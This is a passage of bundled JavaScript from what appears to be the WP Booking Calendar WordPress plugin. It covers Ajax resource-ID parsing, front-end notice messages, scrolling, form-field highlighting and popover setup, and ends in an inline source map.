textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } // --------------------------------------------------------------------------------------------------------------------- // Support // --------------------------------------------------------------------------------------------------------------------- /** * Get Calendar jQuery node for showing messages during Ajax * This parameter: calendar_request_params[resource_id] parsed from this.data Ajax post data * * @param ajx_post_data_url_params 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * @returns {string} ''#calendar_booking1' | '.booking_form_div' ... * * Example var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); */ function wpbc_get_calendar__jq_node__for_messages( ajx_post_data_url_params ){ var jq_node = '.booking_form_div'; var calendar_resource_id = wpbc_get_resource_id__from_ajx_post_data_url( ajx_post_data_url_params ); if ( calendar_resource_id > 0 ){ jq_node = '#calendar_booking' + calendar_resource_id; } return jq_node; } /** * Get resource ID from ajx post data url usually from this.data = 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * * @param ajx_post_data_url_params 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' * @returns {int} 1 | 0 (if errror then 0) * * Example var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); */ function wpbc_get_resource_id__from_ajx_post_data_url( ajx_post_data_url_params ){ // Get booking resource ID from Ajax Post Request -> this.data = 'action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params' var calendar_resource_id = wpbc_get_uri_param_by_name( 'calendar_request_params[resource_id]', ajx_post_data_url_params ); if ( (null !== calendar_resource_id) && ('' !== calendar_resource_id) ){ calendar_resource_id = parseInt( calendar_resource_id ); if ( calendar_resource_id > 0 ){ return calendar_resource_id; } } return 0; } /** * Get parameter from URL - parse URL parameters, like this: action=WPBC_AJX_CALENDAR_LOAD...&calendar_request_params%5Bresource_id%5D=2&calendar_request_params%5Bbooking_hash%5D=&calendar_request_params * @param name parameter name, like 'calendar_request_params[resource_id]' * @param url 'parameter string URL' * @returns {string|null} parameter value * * Example: wpbc_get_uri_param_by_name( 'calendar_request_params[resource_id]', this.data ); -> '2' */ function wpbc_get_uri_param_by_name( name, url ){ url = decodeURIComponent( url ); name = name.replace( /[\[\]]/g, '\\$&' ); var regex = new RegExp( '[?&]' + name + '(=([^&#]*)|&|#|$)' ), results = regex.exec( url ); if ( !results ) return null; if ( !results[ 2 ] ) return ''; return decodeURIComponent( results[ 2 ].replace( /\+/g, ' ' ) ); } /** * ===================================================================================================================== * includes/__js/front_end_messages/wpbc_fe_messages.js * ===================================================================================================================== */ // --------------------------------------------------------------------------------------------------------------------- // Show Messages at Front-Edn side // --------------------------------------------------------------------------------------------------------------------- /** * Show message in content * * @param message Message HTML * @param params = { * 'type' : 'warning', // 'error' | 'warning' | 'info' | 'success' * 'show_here' : { * 'jq_node' : '', // any jQuery node definition * 'where' : 'inside' // 'inside' | 'before' | 'after' | 'right' | 'left' * }, * 'is_append': true, // Apply only if 'where' : 'inside' * 'style' : 'text-align:left;', // styles, if needed * 'css_class': '', // For example can be: 'wpbc_fe_message_alt' * 'delay' : 0, // how many microsecond to show, if 0 then show forever * 'if_visible_not_show': false // if true, then do not show message, if previos message was not hided (not apply if 'where' : 'inside' ) * }; * Examples: * var html_id = wpbc_front_end__show_message( 'You can test days selection in calendar', {} ); * * var notice_message_id = wpbc_front_end__show_message( _wpbc.get_message( 'message_check_required' ), { 'type': 'warning', 'delay': 10000, 'if_visible_not_show': true, * 'show_here': {'where': 'right', 'jq_node': el,} } ); * * wpbc_front_end__show_message( response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ), * { 'type' : ( 'undefined' !== typeof( response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] ) ) * ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'info', * 'show_here': {'jq_node': jq_node, 'where': 'after'}, * 'css_class':'wpbc_fe_message_alt', * 'delay' : 10000 * } ); * * * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message( message, params = {} ){ var params_default = { 'type' : 'warning', // 'error' | 'warning' | 'info' | 'success' 'show_here' : { 'jq_node' : '', // any jQuery node definition 'where' : 'inside' // 'inside' | 'before' | 'after' | 'right' | 'left' }, 'is_append': true, // Apply only if 'where' : 'inside' 'style' : 'text-align:left;', // styles, if needed 'css_class': '', // For example can be: 'wpbc_fe_message_alt' 'delay' : 0, // how many microsecond to show, if 0 then show forever 'if_visible_not_show': false, // if true, then do not show message, if previos message was not hided (not apply if 'where' : 'inside' ) 'is_scroll': true // is scroll to this element }; for ( var p_key in params ){ params_default[ p_key ] = params[ p_key ]; } params = params_default; var unique_div_id = new Date(); unique_div_id = 'wpbc_notice_' + unique_div_id.getTime(); params['css_class'] += ' wpbc_fe_message'; if ( params['type'] == 'error' ){ params['css_class'] += ' wpbc_fe_message_error'; message = '<i class="menu_icon icon-1x wpbc_icn_report_gmailerrorred"></i>' + message; } if ( params['type'] == 'warning' ){ params['css_class'] += ' wpbc_fe_message_warning'; message = '<i class="menu_icon icon-1x wpbc_icn_warning"></i>' + message; } if ( params['type'] == 'info' ){ params['css_class'] += ' wpbc_fe_message_info'; } if ( params['type'] == 'success' ){ params['css_class'] += ' wpbc_fe_message_success'; message = '<i class="menu_icon icon-1x wpbc_icn_done_outline"></i>' + message; } var scroll_to_element = '<div id="' + unique_div_id + '_scroll" style="display:none;"></div>'; message = '<div id="' + unique_div_id + '" class="wpbc_front_end__message ' + params['css_class'] + '" style="' + params[ 'style' ] + '">' + message + '</div>'; var jq_el_message = false; var is_show_message = true; if ( 'inside' === params[ 'show_here' ][ 'where' ] ){ if ( params[ 'is_append' ] ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).append( scroll_to_element ); jQuery( params[ 'show_here' ][ 'jq_node' ] ).append( message ); } else { jQuery( params[ 'show_here' ][ 'jq_node' ] ).html( scroll_to_element + message ); } } else if ( 'before' === params[ 'show_here' ][ 'where' ] ){ jq_el_message = jQuery( params[ 'show_here' ][ 'jq_node' ] ).siblings( '[id^="wpbc_notice_"]' ); if ( (params[ 'if_visible_not_show' ]) && (jq_el_message.is( ':visible' )) ){ is_show_message = false; unique_div_id = jQuery( jq_el_message.get( 0 ) ).attr( 'id' ); } if ( is_show_message ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( scroll_to_element ); jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( message ); } } else if ( 'after' === params[ 'show_here' ][ 'where' ] ){ jq_el_message = jQuery( params[ 'show_here' ][ 'jq_node' ] ).nextAll( '[id^="wpbc_notice_"]' ); if ( (params[ 'if_visible_not_show' ]) && (jq_el_message.is( ':visible' )) ){ is_show_message = false; unique_div_id = jQuery( jq_el_message.get( 0 ) ).attr( 'id' ); } if ( is_show_message ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( scroll_to_element ); // We need to set here before(for handy scroll) jQuery( params[ 'show_here' ][ 'jq_node' ] ).after( message ); } } else if ( 'right' === params[ 'show_here' ][ 'where' ] ){ jq_el_message = jQuery( params[ 'show_here' ][ 'jq_node' ] ).nextAll( '.wpbc_front_end__message_container_right' ).find( '[id^="wpbc_notice_"]' ); if ( (params[ 'if_visible_not_show' ]) && (jq_el_message.is( ':visible' )) ){ is_show_message = false; unique_div_id = jQuery( jq_el_message.get( 0 ) ).attr( 'id' ); } if ( is_show_message ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( scroll_to_element ); // We need to set here before(for handy scroll) jQuery( params[ 'show_here' ][ 'jq_node' ] ).after( '<div class="wpbc_front_end__message_container_right">' + message + '</div>' ); } } else if ( 'left' === params[ 'show_here' ][ 'where' ] ){ jq_el_message = jQuery( params[ 'show_here' ][ 'jq_node' ] ).siblings( '.wpbc_front_end__message_container_left' ).find( '[id^="wpbc_notice_"]' ); if ( (params[ 'if_visible_not_show' ]) && (jq_el_message.is( ':visible' )) ){ is_show_message = false; unique_div_id = jQuery( jq_el_message.get( 0 ) ).attr( 'id' ); } if ( is_show_message ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( scroll_to_element ); // We need to set here before(for handy scroll) jQuery( params[ 'show_here' ][ 'jq_node' ] ).before( '<div class="wpbc_front_end__message_container_left">' + message + '</div>' ); } } if ( ( is_show_message ) && ( parseInt( params[ 'delay' ] ) > 0 ) ){ var closed_timer = setTimeout( function (){ jQuery( '#' + unique_div_id ).fadeOut( 1500 ); } , parseInt( params[ 'delay' ] ) ); var closed_timer2 = setTimeout( function (){ jQuery( '#' + unique_div_id ).trigger( 'hide' ); }, ( parseInt( params[ 'delay' ] ) + 1501 ) ); } // Check if showed message in some hidden parent section and show it. But it must be lower than '.wpbc_container' var parent_els = jQuery( '#' + unique_div_id ).parents().map( function (){ if ( (!jQuery( this ).is( 'visible' )) && (jQuery( '.wpbc_container' ).has( this )) ){ jQuery( this ).show(); } } ); if ( params[ 'is_scroll' ] ){ wpbc_do_scroll( '#' + unique_div_id + '_scroll' ); } return unique_div_id; } /** * Error message. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error( jq_node, message ){ var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'error', 'delay' : 10000, 'if_visible_not_show': true, 'show_here' : { 'where' : 'right', 'jq_node': jq_node } } ); return notice_message_id; } /** * Error message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error_under_element( jq_node, message, message_delay ){ if ( 'undefined' === typeof (message_delay) ){ message_delay = 0 } var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'error', 'delay' : message_delay, 'if_visible_not_show': true, 'show_here' : { 'where' : 'after', 'jq_node': jq_node } } ); return notice_message_id; } /** * Error message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error_above_element( jq_node, message, message_delay ){ if ( 'undefined' === typeof (message_delay) ){ message_delay = 10000 } var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'error', 'delay' : message_delay, 'if_visible_not_show': true, 'show_here' : { 'where' : 'before', 'jq_node': jq_node } } ); return notice_message_id; } /** * Warning message. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning( jq_node, message ){ var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'warning', 'delay' : 10000, 'if_visible_not_show': true, 'show_here' : { 'where' : 'right', 'jq_node': jq_node } } ); wpbc_highlight_error_on_form_field( jq_node ); return notice_message_id; } /** * Warning message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning_under_element( jq_node, message ){ var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'warning', 'delay' : 10000, 'if_visible_not_show': true, 'show_here' : { 'where' : 'after', 'jq_node': jq_node } } ); return notice_message_id; } /** * Warning message ABOVE element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning_above_element( jq_node, message ){ var notice_message_id = wpbc_front_end__show_message( message, { 'type' : 'warning', 'delay' : 10000, 'if_visible_not_show': true, 'show_here' : { 'where' : 'before', 'jq_node': jq_node } } ); return notice_message_id; } /** * Highlight Error in specific field * * @param jq_node string or jQuery element, where scroll to */ function wpbc_highlight_error_on_form_field( jq_node ){ if ( !jQuery( jq_node ).length ){ return; } if ( ! jQuery( jq_node ).is( ':input' ) ){ // Situation with checkboxes or radio buttons var jq_node_arr = jQuery( jq_node ).find( ':input' ); if ( !jq_node_arr.length ){ return } jq_node = jq_node_arr.get( 0 ); } var params = {}; params[ 'delay' ] = 10000; if ( !jQuery( jq_node ).hasClass( 'wpbc_form_field_error' ) ){ jQuery( jq_node ).addClass( 'wpbc_form_field_error' ) if ( parseInt( params[ 'delay' ] ) > 0 ){ var closed_timer = setTimeout( function (){ jQuery( jq_node ).removeClass( 'wpbc_form_field_error' ); } , parseInt( params[ 'delay' ] ) ); } } } /** * Scroll to specific element * * @param jq_node string or jQuery element, where scroll to * @param extra_shift_offset int shift offset from jq_node */ function wpbc_do_scroll( jq_node , extra_shift_offset = 0 ){ if ( !jQuery( jq_node ).length ){ return; } var targetOffset = jQuery( jq_node ).offset().top; if ( targetOffset <= 0 ){ if ( 0 != jQuery( jq_node ).nextAll( ':visible' ).length ){ targetOffset = jQuery( jq_node ).nextAll( ':visible' ).first().offset().top; } else if ( 0 != jQuery( jq_node ).parent().nextAll( ':visible' ).length ){ targetOffset = jQuery( jq_node ).parent().nextAll( ':visible' ).first().offset().top; } } if ( jQuery( '#wpadminbar' ).length > 0 ){ targetOffset = targetOffset - 50 - 50; } else { targetOffset = targetOffset - 20 - 50; } targetOffset += extra_shift_offset; // Scroll only if we did not scroll before if ( ! jQuery( 'html,body' ).is( ':animated' ) ){ jQuery( 'html,body' ).animate( {scrollTop: targetOffset}, 500 ); } } //FixIn: 10.2.0.4 /** * Define Popovers for Timelines in WP Booking Calendar * * @returns {string|boolean} */ function wpbc_define_tippy_popover(){ if ( 'function' !== typeof (wpbc_tippy) ){ console.log( 'WPBC Error. wpbc_tippy was not defined.' ); return false; } wpbc_tippy( '.popover_bottom.popover_click', { content( reference ){ var popover_title = reference.getAttribute( 'data-original-title' ); var popover_content = reference.getAttribute( 'data-content' ); return '<div class="popover popover_tippy">' + '<div class="popover-close"><a href="javascript:void(0)" onclick="javascript:this.parentElement.parentElement.parentElement.parentElement.parentElement._tippy.hide();" >×</a></div>' + popover_content + '</div>'; }, allowHTML : true, trigger : 'manual', interactive : true, hideOnClick : false, interactiveBorder: 10, maxWidth : 550, theme : 'wpbc-tippy-popover', placement : 'bottom-start', touch : ['hold', 500], } ); jQuery( '.popover_bottom.popover_click' ).on( 'click', function (){ if ( this._tippy.state.isVisible ){ this._tippy.hide(); } else { this._tippy.show(); } } ); wpbc_define_hide_tippy_on_scroll(); } function wpbc_define_hide_tippy_on_scroll(){ jQuery( '.flex_tl__scrolling_section2,.flex_tl__scrolling_sections' ).on( 'scroll', function ( event ){ if ( 'function' === typeof (wpbc_tippy) ){ wpbc_tippy.hideAll(); } } ); } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndwYmNfdXRpbHMuanMiLCJ3cGJjLmpzIiwiYWp4X2xvYWRfYmFsYW5jZXIuanMiLCJ3cGJjX2NhbC5qcyIsImRheXNfc2VsZWN0X2N1c3RvbS5qcyIsIndwYmNfY2FsX2FqeC5qcyIsIndwYmNfZmVfbWVzc2FnZXMuanMiLCJ0aW1lbGluZV9wb3BvdmVyLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUN4Q0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUMvaEJBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUN0UUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtB